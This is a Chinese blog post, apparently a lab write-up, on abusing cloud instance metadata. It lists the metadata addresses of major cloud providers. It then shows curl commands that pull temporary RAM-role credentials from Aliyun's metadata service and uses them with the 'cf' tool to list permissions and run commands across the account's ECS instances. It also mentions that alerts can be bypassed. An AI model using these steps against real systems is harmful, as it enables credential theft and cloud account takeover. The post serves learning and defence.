云厂商服务器实例元数据metadata的利用

随笔2个月前发布 幸福的小
30 0 0

前言:关于云厂商ECS实例元数据metadata利用,这边简单的记录学习下

参考文章:https://help.aliyun.com/zh/ecs/user-guide/overview-of-ecs-instance-metadata
参考文章:https://cloud.tencent.com/document/product/213/4934
参考文章:https://help.aliyun.com/zh/ecs/user-guide/manage-the-user-data-of-linux-instances
参考文章:https://help.aliyun.com/zh/ecs/user-guide/attach-an-instance-ram-role-to-an-ecs-instance

关于元数据metadata

参考文章:https://help.aliyun.com/zh/ecs/user-guide/overview-of-ecs-instance-metadata
参考文章:https://cloud.tencent.com/document/product/213/4934

在阿里云文档中对于元数据的介绍,实例元数据(metadata)包含了弹性计算云服务器实例在阿里云系统中的信息(其中信息包括了实例ID、IP地址、网卡MAC地址、操作系统类型等信息。实例标识包括实例标识文档和实例标识签名,所有信息均实时生成,常用于快速辨别实例身份),你通过可以在运行中的实例内方便地查看实例元数据,并基于实例元数据配置或管理实例。

云厂商服务器实例元数据metadata的利用

具体的数据项信息有如下图所示

云厂商服务器实例元数据metadata的利用

在腾讯云服务器中也有元数据的介绍,如下图所示

云厂商服务器实例元数据metadata的利用

元数据metadata的查看

各个云厂商都有自己的元数据metadata查看,下面的部分云厂商的元数据访问地址

阿里云元数据地址:http://100.100.100.200/

腾讯云元数据地址:http://metadata.tencentyun.com/

华为云元数据地址:http://169.254.169.254/

亚马云元数据地址:http://169.254.169.254/

微软云元数据地址:http://169.254.169.254/

谷歌云元数据地址:http://metadata.google.internal/

这边我用的是腾讯云服务器,这边的话访问的就是http://metadata.tencentyun.com/,如下图所示

云厂商服务器实例元数据metadata的利用

实际中腾讯云服务器中访问的http://metadata.tencentyun.com/元数据地址,出现的元数据也是跟上面一样,如下图所示,可以看到latest/

云厂商服务器实例元数据metadata的利用

这边的话直接访问curl http://metadata.tencentyun.com/latest/meta-data/,如下图所示

云厂商服务器实例元数据metadata的利用

通过访问对应的名称就能得到对应的数据,我这边访问了instance-id,hostname,mac就拿到了对应的实例id,主机名以及mac地址,如下图所示

云厂商服务器实例元数据metadata的利用

这边稍微提及下关于user-data,这边是用户自定义的数据,这边可以参考下面的文章,这个user-data是可以用来执行命令的,正常用不到,因为如果你可以有控制台权限的话那么正常都是可以通过云助手来进行执行命令,但是如果老的机器没有安装相关的agent云助手的话,那么可以通过这个来进行获取权限

参考文章:https://help.aliyun.com/zh/ecs/user-guide/manage-the-user-data-of-linux-instances

云厂商服务器实例元数据metadata的利用

云服务器中元数据的metadata利用

参考文章:https://help.aliyun.com/zh/ecs/user-guide/attach-an-instance-ram-role-to-an-ecs-instance

想要在实战中利用的话,当前ECS服务器需要有一个前提条件就是该服务器配置了访问控制角色IAM/RAM,这里的IAM和RAM其实是一样的,只是不同厂商之间对这个身份访问管理的称呼。

这里先为一台ECS配置ECS实例RAM角色,实例RAM角色是RAM角色的一种,它让ECS实例扮演具有某些权限的角色,ECS实例可以使用该角色的临时访问凭证来访问指定的阿里云服务,例如OSS、RDS等,实现ECS实例与其他阿里云服务之间的安全通信。

环境搭建

登录RAM控制台创建实例RAM角色并为其授权

云厂商服务器实例元数据metadata的利用

这里访问RAM控制台https://ram.console.aliyun.com/,创建实例RAM角色并为其授权,选择身份管理 > 角色,单击创建角色,按照界面提示完成角色创建,这里的角色记得选择阿里云服务

云厂商服务器实例元数据metadata的利用

云厂商服务器实例元数据metadata的利用

云厂商服务器实例元数据metadata的利用

云厂商服务器实例元数据metadata的利用

ECS授予RAM角色

登录ECS管理控制台,在左侧导航栏,选择实例与镜像 > 实例

云厂商服务器实例元数据metadata的利用

找到要操作的ECS实例,选择图标 > 实例设置 > 授予/收回RAM角色

云厂商服务器实例元数据metadata的利用

在对话框中,选择创建好的实例RAM角色testecs,单击确定完成授予。

云厂商服务器实例元数据metadata的利用

元数据利用

登录被赋予RAM角色的CS服务器,如下图所示

云厂商服务器实例元数据metadata的利用

接着访问阿里云的元数据地址curl http://100.100.100.200/latest/meta-data,可以看到有一个ram路径,如下图所示

云厂商服务器实例元数据metadata的利用

接着访问ram路径curl http://100.100.100.200/latest/meta-data/ram,可以看到该服务器被授予的testecs ram角色的信息

云厂商服务器实例元数据metadata的利用

通过访问curl -v http://100.100.100.200/latest/meta-data/ram/security-credentials/testecs,可以拿到关于testecs的ram角色的临时凭证信息

云厂商服务器实例元数据metadata的利用

通过cf工具执行命令./cf config进行配置阿里云资源,如下图所示

云厂商服务器实例元数据metadata的利用

./cf perm来列出当前RAM角色的权限,如下图所示,可以看到当前RAM角色有执行ECS的权限,至此可接管该云账号中的所有云ECS权限,我这边的话就只有一台,所以只能列出一台

云厂商服务器实例元数据metadata的利用

命令执行测试./cf_pro_darwin_amd64 alibaba ecs exec -i i-bp1izyjci9f5hlrlsh32 -c 'whoami && id',如下图所示

云厂商服务器实例元数据metadata的利用

云厂商服务器实例元数据metadata的利用

但是这种操作需要注意,现在云监控的话是肯定会告警的,如下图所示,不过这种告警也是有方法可以进行绕过的

云厂商服务器实例元数据metadata的利用

云厂商服务器实例元数据metadata的利用

© 版权声明

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...